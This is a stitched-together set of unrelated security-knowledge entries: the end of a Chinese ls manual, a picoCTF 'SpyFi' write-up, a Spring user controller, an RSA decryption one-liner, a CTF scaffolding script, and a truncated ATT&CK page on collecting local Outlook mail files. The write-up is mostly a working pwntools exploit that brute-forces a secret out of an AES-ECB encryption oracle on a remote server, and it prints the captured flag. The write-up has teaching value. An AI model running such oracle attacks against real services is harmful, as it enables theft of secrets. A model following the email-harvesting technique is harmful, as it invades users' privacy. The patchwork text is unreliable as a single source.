# 同是前者不启动或禁止相关的选项。)这在列很大的目录时特别有用,因为不加排序
# 能显著地加快速度。
-X, --sort=extension
# 按文件扩展名(由最后的 "." 之后的字符组成)的字典序排序。没有扩展名的先列 出。
--color[=when]
# 指定是否使用颜色区别文件类别。环境变量 LS_COLORS 指定使用的颜色。如何设置 这个变量见 dir‐
# colors(1) 。 when 可以被省略,或是以下几项之一:
none # 不使用颜色,这是缺省项。
# auto 仅当标准输出是终端时使用。 always 总是使用颜色。指定 --color 而且省略 when 时就等同于
# --color=always 。
--full-time
# 列出完整的时间,而不是使用标准的缩写。格式如同 date(1) 的缺省格式;此格式
# 是不能改变的,但是你可以用 cut(1) 取出其中的日期字串并将结果送至命令 “ date -d ”。
# 输出的时间包括秒是非常有用的。( Unix 文件系统储存文件的时间信息精确到秒,
# 因此这个选项已经给出了系统所知的全部信息。)例如,当你有一个 Makefile 文件
# 不能恰当地生成文件时,这个选项会提供帮助。
```
### 参数
目录:指定要显示列表的目录,也可以是具体的文件。
### 实例
```shell
$ ls # 仅列出当前目录可见文件
$ ls -l # 列出当前目录可见文件详细信息
$ ls -hl # 列出详细信息并以可读大小显示文件大小
$ ls -al # 列出所有文件(包括隐藏)的详细信息
$ ls --human-readable --size -1 -S --classify # 按文件大小排序
$ du -sh * | sort -h # 按文件大小排序(同上)
```
显示当前目录下包括隐藏文件在内的所有文件列表
```shell
[root@localhost ~]# ls -a
. anaconda-ks.cfg .bash_logout .bashrc install.log .mysql_history satools .tcshrc .vimrc
.. .bash_history .bash_profile .cshrc install.log.syslog .rnd .ssh .viminfo
```
输出长格式列表
```shell
[root@localhost ~]# ls -1
anaconda-ks.cfg
install.log
install.log.syslog
satools
```
显示文件的inode信息
索引节点(index inode简称为“inode”)是Linux中一个特殊的概念,具有相同的索引节点号的两个文本本质上是同一个文件(除文件名不同外)。
```shell
[root@localhost ~]# ls -i -l anaconda-ks.cfg install.log
2345481 -rw------- 1 root root 859 Jun 11 22:49 anaconda-ks.cfg
2345474 -rw-r--r-- 1 root root 13837 Jun 11 22:49 install.log
```
水平输出文件列表
```shell
[root@localhost /]# ls -m
bin, boot, data, dev, etc, home, lib, lost+found, media, misc, mnt, opt, proc, root, sbin, selinux, srv, sys, tmp, usr, var
```
修改最后一次编辑的文件
最近修改的文件显示在最上面。
```shell
[root@localhost /]# ls -t
tmp root etc dev lib boot sys proc data home bin sbin usr var lost+found media mnt opt selinux srv misc
```
显示递归文件
```shell
[root@localhost ~]# ls -R
.:
anaconda-ks.cfg install.log install.log.syslog satools
./satools:
black.txt freemem.sh iptables.sh lnmp.sh mysql php502_check.sh ssh_safe.sh
```
打印文件的UID和GID
```shell
[root@localhost /]# ls -n
total 254
drwxr-xr-x 2 0 0 4096 Jun 12 04:03 bin
drwxr-xr-x 4 0 0 1024 Jun 15 14:45 boot
drwxr-xr-x 6 0 0 4096 Jun 12 10:26 data
drwxr-xr-x 10 0 0 3520 Sep 26 15:38 dev
drwxr-xr-x 75 0 0 4096 Oct 16 04:02 etc
drwxr-xr-x 4 0 0 4096 Jun 12 10:26 home
drwxr-xr-x 14 0 0 12288 Jun 16 04:02 lib
drwx------ 2 0 0 16384 Jun 11 22:46 lost+found
drwxr-xr-x 2 0 0 4096 May 11 2011 media
drwxr-xr-x 2 0 0 4096 Nov 8 2010 misc
drwxr-xr-x 2 0 0 4096 May 11 2011 mnt
drwxr-xr-x 2 0 0 4096 May 11 2011 opt
dr-xr-xr-x 232 0 0 0 Jun 15 11:04 proc
drwxr-x--- 4 0 0 4096 Oct 15 14:43 root
drwxr-xr-x 2 0 0 12288 Jun 12 04:03 sbin
drwxr-xr-x 2 0 0 4096 May 11 2011 selinux
drwxr-xr-x 2 0 0 4096 May 11 2011 srv
drwxr-xr-x 11 0 0 0 Jun 15 11:04 sys
drwxrwxrwt 3 0 0 98304 Oct 16 08:45 tmp
drwxr-xr-x 13 0 0 4096 Jun 11 23:38 usr
drwxr-xr-x 19 0 0 4096 Jun 11 23:38 var
```
列出文件和文件夹的详细信息
```shell
[root@localhost /]# ls -l
total 254
drwxr-xr-x 2 root root 4096 Jun 12 04:03 bin
drwxr-xr-x 4 root root 1024 Jun 15 14:45 boot
drwxr-xr-x 6 root root 4096 Jun 12 10:26 data
drwxr-xr-x 10 root root 3520 Sep 26 15:38 dev
drwxr-xr-x 75 root root 4096 Oct 16 04:02 etc
drwxr-xr-x 4 root root 4096 Jun 12 10:26 home
drwxr-xr-x 14 root root 12288 Jun 16 04:02 lib
drwx------ 2 root root 16384 Jun 11 22:46 lost+found
drwxr-xr-x 2 root root 4096 May 11 2011 media
drwxr-xr-x 2 root root 4096 Nov 8 2010 misc
drwxr-xr-x 2 root root 4096 May 11 2011 mnt
drwxr-xr-x 2 root root 4096 May 11 2011 opt
dr-xr-xr-x 232 root root 0 Jun 15 11:04 proc
drwxr-x--- 4 root root 4096 Oct 15 14:43 root
drwxr-xr-x 2 root root 12288 Jun 12 04:03 sbin
drwxr-xr-x 2 root root 4096 May 11 2011 selinux
drwxr-xr-x 2 root root 4096 May 11 2011 srv
drwxr-xr-x 11 root root 0 Jun 15 11:04 sys
drwxrwxrwt 3 root root 98304 Oct 16 08:48 tmp
drwxr-xr-x 13 root root 4096 Jun 11 23:38 usr
drwxr-xr-x 19 root root 4096 Jun 11 23:38 var
```
列出可读文件和文件夹详细信息
```shell
[root@localhost /]# ls -lh
total 254K
drwxr-xr-x 2 root root 4.0K Jun 12 04:03 bin
drwxr-xr-x 4 root root 1.0K Jun 15 14:45 boot
drwxr-xr-x 6 root root 4.0K Jun 12 10:26 data
drwxr-xr-x 10 root root 3.5K Sep 26 15:38 dev
drwxr-xr-x 75 root root 4.0K Oct 16 04:02 etc
drwxr-xr-x 4 root root 4.0K Jun 12 10:26 home
drwxr-xr-x 14 root root 12K Jun 16 04:02 lib
drwx------ 2 root root 16K Jun 11 22:46 lost+found
drwxr-xr-x 2 root root 4.0K May 11 2011 media
drwxr-xr-x 2 root root 4.0K Nov 8 2010 misc
drwxr-xr-x 2 root root 4.0K May 11 2011 mnt
drwxr-xr-x 2 root root 4.0K May 11 2011 opt
dr-xr-xr-x 235 root root 0 Jun 15 11:04 proc
drwxr-x--- 4 root root 4.0K Oct 15 14:43 root
drwxr-xr-x 2 root root 12K Jun 12 04:03 sbin
drwxr-xr-x 2 root root 4.0K May 11 2011 selinux
drwxr-xr-x 2 root root 4.0K May 11 2011 srv
drwxr-xr-x 11 root root 0 Jun 15 11:04 sys
drwxrwxrwt 3 root root 96K Oct 16 08:49 tmp
drwxr-xr-x 13 root root 4.0K Jun 11 23:38 usr
drwxr-xr-x 19 root root 4.0K Jun 11 23:38 var
```
显示文件夹信息
```shell
[root@localhost /]# ls -ld /etc/
drwxr-xr-x 75 root root 4096 Oct 16 04:02 /etc/
```
按时间列出文件和文件夹详细信息
```shell
[root@localhost /]# ls -lt
total 254
drwxrwxrwt 3 root root 98304 Oct 16 08:53 tmp
drwxr-xr-x 75 root root 4096 Oct 16 04:02 etc
drwxr-x--- 4 root root 4096 Oct 15 14:43 root
drwxr-xr-x 10 root root 3520 Sep 26 15:38 dev
drwxr-xr-x 14 root root 12288 Jun 16 04:02 lib
drwxr-xr-x 4 root root 1024 Jun 15 14:45 boot
drwxr-xr-x 11 root root 0 Jun 15 11:04 sys
dr-xr-xr-x 232 root root 0 Jun 15 11:04 proc
drwxr-xr-x 6 root root 4096 Jun 12 10:26 data
drwxr-xr-x 4 root root 4096 Jun 12 10:26 home
drwxr-xr-x 2 root root 4096 Jun 12 04:03 bin
drwxr-xr-x 2 root root 12288 Jun 12 04:03 sbin
drwxr-xr-x 13 root root 4096 Jun 11 23:38 usr
drwxr-xr-x 19 root root 4096 Jun 11 23:38 var
drwx------ 2 root root 16384 Jun 11 22:46 lost+found
drwxr-xr-x 2 root root 4096 May 11 2011 media
drwxr-xr-x 2 root root 4096 May 11 2011 mnt
drwxr-xr-x 2 root root 4096 May 11 2011 opt
drwxr-xr-x 2 root root 4096 May 11 2011 selinux
drwxr-xr-x 2 root root 4096 May 11 2011 srv
drwxr-xr-x 2 root root 4096 Nov 8 2010 misc
```
按修改时间列出文件和文件夹详细信息
```shell
[root@localhost /]# ls -ltr
total 254
drwxr-xr-x 2 root root 4096 Nov 8 2010 misc
drwxr-xr-x 2 root root 4096 May 11 2011 srv
drwxr-xr-x 2 root root 4096 May 11 2011 selinux
drwxr-xr-x 2 root root 4096 May 11 2011 opt
drwxr-xr-x 2 root root 4096 May 11 2011 mnt
drwxr-xr-x 2 root root 4096 May 11 2011 media
drwx------ 2 root root 16384 Jun 11 22:46 lost+found
drwxr-xr-x 19 root root 4096 Jun 11 23:38 var
drwxr-xr-x 13 root root 4096 Jun 11 23:38 usr
drwxr-xr-x 2 root root 12288 Jun 12 04:03 sbin
drwxr-xr-x 2 root root 4096 Jun 12 04:03 bin
drwxr-xr-x 4 root root 4096 Jun 12 10:26 home
drwxr-xr-x 6 root root 4096 Jun 12 10:26 data
dr-xr-xr-x 232 root root 0 Jun 15 11:04 proc
drwxr-xr-x 11 root root 0 Jun 15 11:04 sys
drwxr-xr-x 4 root root 1024 Jun 15 14:45 boot
drwxr-xr-x 14 root root 12288 Jun 16 04:02 lib
drwxr-xr-x 10 root root 3520 Sep 26 15:38 dev
drwxr-x--- 4 root root 4096 Oct 15 14:43 root
drwxr-xr-x 75 root root 4096 Oct 16 04:02 etc
drwxrwxrwt 3 root root 98304 Oct 16 08:54 tmp
```
按照特殊字符对文件进行分类
```shell
[root@localhost nginx-1.2.1]# ls -F
auto/ CHANGES CHANGES.ru conf/ configure* contrib/ html/ LICENSE Makefile man/ objs/ README src/
```
列出文件并标记颜色分类
```shell
[root@localhost nginx-1.2.1]# ls --color=auto
auto CHANGES CHANGES.ru conf configure contrib html LICENSE Makefile man objs README src
```
## 扩展知识
### 不同颜色代表的文件类型
* `蓝色`<!--rehype:style=background: blue;color:white;-->:目录
* `绿色`<!--rehype:style=background: green;color:white;-->:可执行文件
* `白色`<!--rehype:style=background: #efefef;-->:一般性文件,如文本文件,配置文件等
* `红色`<!--rehype:style=background: red;color:white;-->:压缩文件或归档文件
* `浅蓝色`<!--rehype:style=background: #c4c3ff;-->:链接文件
* 红色闪烁:链接文件存在问题
* 黄色:设备文件
* 青黄色:管道文件
|
sec-knowleage
|
# SpyFi
Cryptography, 300 points
## Description:
> James Brahm, James Bond's less-franchised cousin, has left his secure communication with HQ running, but we couldn't find a way to steal his agent identification code. Can you?
```python
#!/usr/bin/python2 -u
from Crypto.Cipher import AES
agent_code = """flag"""
def pad(message):
if len(message) % 16 != 0:
message = message + '0'*(16 - len(message)%16 )
return message
def encrypt(key, plain):
cipher = AES.new( key.decode('hex'), AES.MODE_ECB )
return cipher.encrypt(plain).encode('hex')
welcome = "Welcome, Agent 006!"
print welcome
sitrep = raw_input("Please enter your situation report: ")
message = """Agent,
Greetings. My situation report is as follows:
{0}
My agent identifying code is: {1}.
Down with the Soviets,
006
""".format( sitrep, agent_code )
message = pad(message)
print encrypt( """key""", message )
```
## Solution:
The script uses ECB mode to encrypt, which basically says that the plaintext is divided to blocks, and each block is encrypted independently. In other words, if two blocks contain the same plaintext, the outcome of the encryption will be identical. This makes it very easy to recover some or all of the plaintext in case we have the ability to perform a "chosen-plaintext attack" (CPA) - the ability to control part the plaintext and view the corresponding ciphertext.
In our case, we control the situation report, and will use that in order to recover the flag.
Our strategy will be to start with a report text that will:
* Align the first letter of the flag at the last index of some 16-byte AES-ECB block, while the first 15 bytes of the block are known to us
* Create a block which starts with the same known 15-bytes, and iterate over the last byte until we receive an encrypted block which is identical to the other block
Once we've achieved this, we in fact know the first letter of the flag. We can then shift everything left, and use the same strategy to recover the second letter. We continue until we've recovered the complete flag.
Let's see an example.
The following is the message (I've replaced newlines with # to be able to view the whole message in one line) if we send a specially crafted report of "**************************ifying code is: !":
```
Agent,#Greetings. My situation report is as follows:#**************************ifying code is: !@@@@@@@@@@@@@@@@#My agent identifying code is: dummy_flag.#Down with the Soviets,#006
0123456789ABCDEF0123456789ABCDEF0123456789ABCDEF0123456789ABCDEF0123456789ABCDEF0123456789ABCDEF0123456789ABCDEF0123456789ABCDEF0123456789ABCDEF0123456789ABCDEF0123456789ABCDEF0123456789ABCDEF
0...............1...............2...............3...............4...............5...............6...............7...............8...............9...............10..............11..............
```
The third line resembles block indices, and the second line resembles indices within the block. Also, we're currently using "dummy_flag" as a placeholder for the unknown flag.
Let's compare blocks 5 and 8:
```
fying code is: !
0123456789ABCDEF
5...............
fying code is: d
0123456789ABCDEF
8...............
```
Block 5 is under our full control, while for block 8 we can control the alignment but not the text. We've aligned block 8 so that the first letter of the flag is the last letter of the block (currently represented by "d", but we don't know yet what it really is). We've also created a "twin" block (block 5) where the first 15 letters of the block are identical to the ones in block 8. Now, we just need to iterate through all possible letters as the last letter of block 5, encrypt the message, and inspect the result. When we see that the outcome of block 5 and 8 is identical, we know that we found the first letter of the flag.
Let's see what happens when we try "p" as the first letter:
```console
root@kali:/media/sf_CTFs/pico/SpyFi# attempt="AAAAAAAAAAAAAAAAAAAAAAAAAAifying code is: pBBBBBBBBBBBBBBBB"
root@kali:/media/sf_CTFs/pico/SpyFi# echo "$attempt" | nc 2018shell3.picoctf.com 33893 | sed -r "s/([0-9a-f]{32})/\n\1/g" | cat -n
1 Welcome, Agent 006!
2 Please enter your situation report:
3 54935ab8cba38e08ac1eb299f30694e6
4 5b6dbb2f7eb37d79b84199dd2653edf4
5 ca05b4040d721c2e72dfdd629f945832
6 0e91d44f3a98c7b9b7941868ef1c49d7
7 1e242c61c75ea0ed3c276692af97c218
8 5780a0d3b6dd5aba3582217748bb77d7
9 cc7f01716c208b1ba3341afbc296f2c6
10 b8a5465062f0d1ce3ef656e45f822ac4
11 5780a0d3b6dd5aba3582217748bb77d7
12 3550f316ebfe0bca6046b0643a05f6de
13 d52449bf46d083b6faf0eecc4e48e1f1
14 91b65bed8e1bc70928f855b6a5f5edab
15 4145e1549b998dd96194a8581cf0d9fb
16 285cf34da7b32a9bd4607ab86f73a3d0
```
Notice how lines 8 and 11 are identical - this means that "p" is indeed the first letter of the flag.
Now we can move on the the seconds letter, e.g.:
```
Agent,#Greetings. My situation report is as follows:#*************************ifying code is: p!@@@@@@@@@@@@@@@#My agent identifying code is: dummy_flag.#Down with the Soviets,#006
0123456789ABCDEF0123456789ABCDEF0123456789ABCDEF0123456789ABCDEF0123456789ABCDEF0123456789ABCDEF0123456789ABCDEF0123456789ABCDEF0123456789ABCDEF0123456789ABCDEF0123456789ABCDEF0123456789ABCDEF
0...............1...............2...............3...............4...............5...............6...............7...............8...............9...............10..............11..............
```
We continue doing this until we recover the whole block, then start again with the next block. Note that we keep using block 5 as the controlled block, but now we move to comparing against block 9.
The script:
```python
from pwn import *
import sys
AES_BLOCK_SIZE = 16
class SpyFi(object):
ALIGNMENT_BLOCK_SIZE = 32 # Used for debug
NUM_BLOCKS_PER_ROW = 2 # Used for debug
DEBUG = True
def __init__(self, get_process, message):
if not "{user_controlled}" in message or not "{secret}" in message:
raise ValueError("Expecting message with '{user_controlled}' and '{secret}' placeholders")
self.get_process = get_process
self.flag_parts = []
self.message = message
self.calculate_initial_values()
def calculate_initial_values(self):
left_placeholder = "*" * AES_BLOCK_SIZE
right_placeholder = "%" * AES_BLOCK_SIZE
secret_placeholder = "@" * AES_BLOCK_SIZE
# Phase 1 - get block before secret
msg = self.message.format(user_controlled = left_placeholder + right_placeholder, secret = secret_placeholder)
secret_starts_at = msg.find(secret_placeholder)
block_before_secret = msg[secret_starts_at - AES_BLOCK_SIZE:secret_starts_at]
log.info("Block before secret: '{}'".format(block_before_secret))
# Phase 2 - get padding_left alignment
msg = self.message.format(user_controlled = left_placeholder + block_before_secret + '@' + right_placeholder, secret = secret_placeholder)
self.padding_left_alignment = AES_BLOCK_SIZE - 1 - (msg.find(secret_placeholder) % AES_BLOCK_SIZE)
log.info("Padding_left alignment: '{}'".format(self.padding_left_alignment))
# Phase 3 - verify padding correctness
pad_left = left_placeholder + ('&' * self.padding_left_alignment) + block_before_secret
msg = self.message.format(user_controlled = pad_left + '@' + right_placeholder, secret = secret_placeholder)
secret_starts_at = msg.find(secret_placeholder)
user_controlled_starts_at = msg.find(left_placeholder)
index_of_first_guessed_char = user_controlled_starts_at + len(pad_left)
index_of_first_secret_char = secret_starts_at
log.info("index_of_first_guessed_char: '{}'".format(index_of_first_guessed_char))
log.info("index_of_first_secret_char: '{}'".format(index_of_first_secret_char))
assert( index_of_first_guessed_char % AES_BLOCK_SIZE == (AES_BLOCK_SIZE - 1) )
assert( index_of_first_secret_char % AES_BLOCK_SIZE == (AES_BLOCK_SIZE - 1) )
# Phase 4 - get indices for "twin blocks" - one is user controlled and one holds the secret
self.user_controlled_twin_block_index = index_of_first_guessed_char // AES_BLOCK_SIZE
self.secret_twin_block_index = index_of_first_secret_char // AES_BLOCK_SIZE
log.info("user_controlled_twin_block_index: '{}'".format(self.user_controlled_twin_block_index))
log.info("secret_twin_block_index: '{}'".format(self.secret_twin_block_index))
# Phase 5 - reset members
self.reset_members(block_before_secret)
def print_message(self, msg_to_send):
if not self.DEBUG:
return
msg = self.message.format(user_controlled = msg_to_send, secret = "dummy_flag")
print msg.replace("\n", "#")
print ("0123456789ABCDEF")*( (len(msg)//AES_BLOCK_SIZE) + 1)
for i in range( (len(msg)//AES_BLOCK_SIZE) + 1):
sys.stdout.write("{}".format(i).ljust(AES_BLOCK_SIZE, "."))
print ""
def align(self, hex_str):
hex_str = hex_str.strip()
res = ""
for i, x in enumerate(hex_str):
if i == 0:
pass
elif i % (self.ALIGNMENT_BLOCK_SIZE * self.NUM_BLOCKS_PER_ROW) == 0:
res += "\n"
elif i % self.ALIGNMENT_BLOCK_SIZE == 0:
res += (" ")
res += x
return res
def encrypt(self, msg):
while True:
try:
r = self.get_process()
r.sendlineafter("Please enter your situation report:", msg)
return r.recvall()
except (socket.error, socket.gaierror, socket.herror, socket.timeout) as e:
log.error(str(e))
def reset_members(self, known_text):
self.padding_left_len = AES_BLOCK_SIZE + self.padding_left_alignment
self.padding_right_len = AES_BLOCK_SIZE
self.partial_flag = ""
self.known_text = known_text
def brute_force(self):
found_flag = False
while (not found_flag):
for x in xrange(ord(" "), ord("~")+1):
flag_guess = self.partial_flag + chr(x)
msg_to_send = "{}{}{}{}".format("*" * self.padding_left_len,
self.known_text,
flag_guess,
"@" * self.padding_right_len)
self.print_message(msg_to_send)
out = self.align(self.encrypt(msg_to_send))
out_arr = out.split()
if out_arr[self.user_controlled_twin_block_index] == out_arr[self.secret_twin_block_index + len(self.flag_parts)]:
self.partial_flag = flag_guess
self.padding_left_len -= 1
self.padding_right_len -= 1
log.info("Found match!, partial_flag so far is: {}".format(self.partial_flag))
if chr(x) == "}":
found_flag = True
self.flag_parts.append(self.partial_flag)
break #for
if (len(self.partial_flag) == AES_BLOCK_SIZE):
self.flag_parts.append(self.partial_flag)
self.reset_members(self.partial_flag)
break #for
else:
raise Exception("Can't find flag")
return "".join(self.flag_parts)
def get_process():
r = remote("2018shell3.picoctf.com", 33893)
return r
MESSAGE = """Agent,\nGreetings. My situation report is as follows:\n{user_controlled}\nMy agent identifying code is: {secret}.\nDown with the Soviets,\n006"""
spyfi = SpyFi(get_process, MESSAGE)
try:
flag = spyfi.brute_force()
log.success("Found flag: {}".format(flag))
except Exception as e:
log.error(str(e))
```
The script runs for a while and requires ~1800 attempts in order to recover the flag.
Filtered output:
```console
root@kali:/media/sf_CTFs/pico/SpyFi# python exploit.txt | grep Found
[*] Found match!, partial_flag so far is: p
[*] Found match!, partial_flag so far is: pi
[*] Found match!, partial_flag so far is: pic
[*] Found match!, partial_flag so far is: pico
[*] Found match!, partial_flag so far is: picoC
[*] Found match!, partial_flag so far is: picoCT
[*] Found match!, partial_flag so far is: picoCTF
[*] Found match!, partial_flag so far is: picoCTF{
[*] Found match!, partial_flag so far is: picoCTF{@
[*] Found match!, partial_flag so far is: picoCTF{@g
[*] Found match!, partial_flag so far is: picoCTF{@g3
[*] Found match!, partial_flag so far is: picoCTF{@g3n
[*] Found match!, partial_flag so far is: picoCTF{@g3nt
[*] Found match!, partial_flag so far is: picoCTF{@g3nt6
[*] Found match!, partial_flag so far is: picoCTF{@g3nt6_
[*] Found match!, partial_flag so far is: picoCTF{@g3nt6_1
[*] Found match!, partial_flag so far is: $
[*] Found match!, partial_flag so far is: $_
[*] Found match!, partial_flag so far is: $_t
[*] Found match!, partial_flag so far is: $_th
[*] Found match!, partial_flag so far is: $_th3
[*] Found match!, partial_flag so far is: $_th3_
[*] Found match!, partial_flag so far is: $_th3_c
[*] Found match!, partial_flag so far is: $_th3_c0
[*] Found match!, partial_flag so far is: $_th3_c00
[*] Found match!, partial_flag so far is: $_th3_c00l
[*] Found match!, partial_flag so far is: $_th3_c00l3
[*] Found match!, partial_flag so far is: $_th3_c00l3$
[*] Found match!, partial_flag so far is: $_th3_c00l3$t
[*] Found match!, partial_flag so far is: $_th3_c00l3$t_
[*] Found match!, partial_flag so far is: $_th3_c00l3$t_9
[*] Found match!, partial_flag so far is: $_th3_c00l3$t_91
[*] Found match!, partial_flag so far is: 2
[*] Found match!, partial_flag so far is: 21
[*] Found match!, partial_flag so far is: 216
[*] Found match!, partial_flag so far is: 2160
[*] Found match!, partial_flag so far is: 21600
[*] Found match!, partial_flag so far is: 21600}
[+] Found flag: picoCTF{@g3nt6_1$_th3_c00l3$t_9121600}
```
The flag: picoCTF{@g3nt6_1$_th3_c00l3$t_9121600}
|
sec-knowleage
|
/*
* Copyright 2015-2018 the original author or authors.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package example.users.web;
import static org.springframework.validation.ValidationUtils.*;
import java.util.Map;
import lombok.RequiredArgsConstructor;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.data.domain.Page;
import org.springframework.data.domain.Pageable;
import org.springframework.data.web.PageableDefault;
import org.springframework.data.web.PageableHandlerMethodArgumentResolver;
import org.springframework.data.web.config.EnableSpringDataWebSupport;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.validation.BindingResult;
import org.springframework.web.bind.annotation.ModelAttribute;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.servlet.view.RedirectView;
import example.users.Password;
import example.users.User;
import example.users.UserManagement;
import example.users.Username;
/**
* A sample controller implementation to showcase Spring Data web support:
* <ol>
* <li>Automatic population of a {@link Pageable} instance as controller method argument. This is achieved by the
* automatic activation of {@link EnableSpringDataWebSupport} and in turn its registration of a
* {@link PageableHandlerMethodArgumentResolver}.</li>
* <li>Usage of proxy-backed interfaces to bind request parameters.</li>
* </ol>
*
* @author Oliver Gierke
*/
@Controller
@RequiredArgsConstructor
@RequestMapping("/users")
class UserController {
private final UserManagement userManagement;
/**
* Equis the model with a {@link Page} of {@link User}s. Spring Data automatically populates the {@link Pageable} from
* request data according to the setup of {@link PageableHandlerMethodArgumentResolver}. Note how the defaults can be
* tweaked by using {@link PageableDefault}.
*
* @param pageable will never be {@literal null}.
* @return
*/
@ModelAttribute("users")
public Page<User> users(@PageableDefault(size = 5) Pageable pageable) {
return userManagement.findAll(pageable);
}
/**
* Registers a new {@link User} for the data provided by the given {@link UserForm}. Note, how an interface is used to
* bind request parameters.
*
* @param userForm the request data bound to the {@link UserForm} instance.
* @param binding the result of the binding operation.
* @param model the Spring MVC {@link Model}.
* @return
*/
@RequestMapping(method = RequestMethod.POST)
public Object register(UserForm userForm, BindingResult binding, Model model) {
userForm.validate(binding, userManagement);
if (binding.hasErrors()) {
return "users";
}
userManagement.register(new Username(userForm.getUsername()), Password.raw(userForm.getPassword()));
RedirectView redirectView = new RedirectView("redirect:/users");
redirectView.setPropagateQueryParams(true);
return redirectView;
}
/**
* Populates the {@link Model} with the {@link UserForm} automatically created by Spring Data web components. It will
* create a {@link Map}-backed proxy for the interface.
*
* @param model will never be {@literal null}.
* @param userForm will never be {@literal null}.
* @return
*/
@RequestMapping(method = RequestMethod.GET)
public String listUsers(Model model, UserForm userForm) {
model.addAttribute("userForm", userForm);
return "users";
}
/**
* An interface to represent the form to be used
*
* @author Oliver Gierke
*/
interface UserForm {
String getUsername();
String getPassword();
String getRepeatedPassword();
/**
* Validates the {@link UserForm}.
*
* @param errors
* @param userManagement
*/
default void validate(BindingResult errors, UserManagement userManagement) {
rejectIfEmptyOrWhitespace(errors, "username", "user.username.empty");
rejectIfEmptyOrWhitespace(errors, "password", "user.password.empty");
rejectIfEmptyOrWhitespace(errors, "repeatedPassword", "user.repeatedPassword.empty");
if (!getPassword().equals(getRepeatedPassword())) {
errors.rejectValue("repeatedPassword", "user.password.no-match");
}
try {
userManagement.findByUsername(new Username(getUsername())).ifPresent(
user -> errors.rejectValue("username", "user.username.exists"));
} catch (IllegalArgumentException o_O) {
errors.rejectValue("username", "user.username.invalidFormat");
}
}
}
}
|
sec-knowleage
|
clearText = pow(0x025051c6c4e82266e0b9e8a47266531a01d484b0dc7ee629fb5a0588f15bf50281f46cf08be71e067ac7166580f144a6bdcc83a90206681c2409404e92474b37de67d92fd2fa4bc4bd119372b6d50c0377758fc8e946d203a040e04d6bfe41dfb898cd4e36e582f16ad475915ac2c6586d874dd397e7ed1cb2d3f2003586c257, 89508186630638564513494386415865407147609702392949250864642625401059935751367507, 2562256018798982275495595589518163432372017502243601864658538274705537914483947807120783733766118553254101235396521540936164219440561532997119915510314638089613615679231310858594698461124636943528101265406967445593951653796041336078776455339658353436309933716631455967769429086442266084993673779546522240901)
print(('0'+hex(clearText)[2:][:-1]).decode("hex"))
|
sec-knowleage
|
#!/usr/bin/env python3
"""
Usage:
python3 scaffold.py new hxp "hxp CTF 2021" 10 1017
python3 scaffold.py add hxp "Log 4 Sanity" misc
"""
from pathlib import Path
from datetime import datetime
import argparse
import re
def new_ctf(args):
stamp = datetime.now().isoformat()[:10]
dirname = f"{stamp}-{args.slug}"
readme = Path(__file__).parent / "README.md"
readme_text = readme.read_text()
pretty_stamp = stamp.replace("-", '.')
headline = f"* [{pretty_stamp} **{args.name}**({args.place}th place/{args.teams} teams)]({dirname})"
year = datetime.now().year
mdyear = f"## {year}"
if mdyear not in readme_text:
raise RuntimeError(f"Not implemented: Add '{mdyear}' to the README manually")
elif headline not in readme_text:
readme_text = re.sub(mdyear, f"{mdyear}\n{headline}", readme_text)
readme.write_text(readme_text)
newdir = Path(__file__).parent / dirname
if newdir.exists():
raise RuntimeError(f"Huh, {newdir} already exists, are you sure?")
newdir.mkdir()
content = f"""# {args.name}
### Table of contents
"""
(newdir / "README.md").write_text(content)
def add_task(args):
dirname = Path(__file__).parent.glob(f"*-{args.slug}")
choices = list(sorted(dirname))
dirname = choices[-1]
if len(choices) > 1:
print(f"Multiple matches, using {dirname}")
slug = args.task.lower().replace("/", '_').replace(" ", "-")
(dirname / slug).mkdir()
(dirname / slug / "README.md").write_text(f"# {args.task}")
readme = (dirname / "README.md").read_text()
readme += f"* [{args.task} ({args.category})]({slug})\n"
(dirname / "README.md").write_text(readme)
def main():
parser = argparse.ArgumentParser()
subparsers = parser.add_subparsers(dest="cmd")
subparsers.required = True
newctf = subparsers.add_parser('new', description="Add a CTF template")
newctf.add_argument("slug", help="CTF slug, like 'dragonctf'")
newctf.add_argument("name", help="CTF name, like 'Dragon CTF 2021'")
newctf.add_argument("place", help="Place achieved during the CTF, like '2'")
newctf.add_argument("teams", help="How many teams competed?")
newctf.set_defaults(func=new_ctf)
addtask = subparsers.add_parser('add', description="Add a task to ctf")
addtask.add_argument("slug", help="CTF slug, like 'dragonctf'")
addtask.add_argument("task", help="task name, like 'Dragon Vm'")
addtask.add_argument("category", help="task category, like 're'")
addtask.set_defaults(func=add_task)
args = parser.parse_args()
args.func(args)
if __name__ == "__main__":
main()
|
sec-knowleage
|
# T1114-001-win-本地电子邮件收集
## 来自ATT&CK的描述
攻击者可能会在用户本地系统上收集电子邮箱信息,用以收集敏感信息。可以从用户的本地系统中获取包含电子邮件数据的文件,例如Outlook存储或缓存文件。
Outlook将数据本地存储在扩展名为.ost的脱机数据文件中。Outlook 2010和更高版本支持.ost文件大小最大为50GB,而早期版本的Outlook支持最大20GB。Outlook 2013(及更早版本)和POP帐户中的IMAP帐户使用Outlook数据文件(.pst),而不是.ost,而Outlook 2016(及更高版本)中的IMAP帐户使用.ost文件。两种类型的Outlook数据文件通常都存储在C:\Users\<username>\Documents\Outlook Files或C:\Users\<username>\AppData\Local\Microsoft\Outlook中
## 测试案例
模拟使用where命令进行筛选指定文件夹下后缀为.ost或者.pst的文件
```yml
C:\Users\Administrator>where
此命令的语法是:
WHERE [/R dir] [/Q] [/F] [/T] pattern...
描述:
显示符合搜索模式的文件位置。在默认情况下,搜索是在当前目录和 PATH
环境变量指定的路径中执行的。
参数列表:
/R 从指定目录开始,递归性搜索并显示符合指定模式的文件。
/Q 只返回退出代码,不显示匹配文件列表。(安静模式)
匹配文件。(安静模式)
/F 显示所有相配文件并用双引号括上。
/T 显示所有相配文件的文件的文件。
pattern 指定要匹配的文件的搜索模式。通配符 * 和 ? 可以用在模式中。
也可以指定 "$env:pattern" 和 "path:pattern" 格式; 其中
"env" 是环境变量,搜索是在 "env" 变量的指定的路径中执行的。
这些格式不应该跟 /R 一起使用。此搜索也可以用将 PATHEXT 变
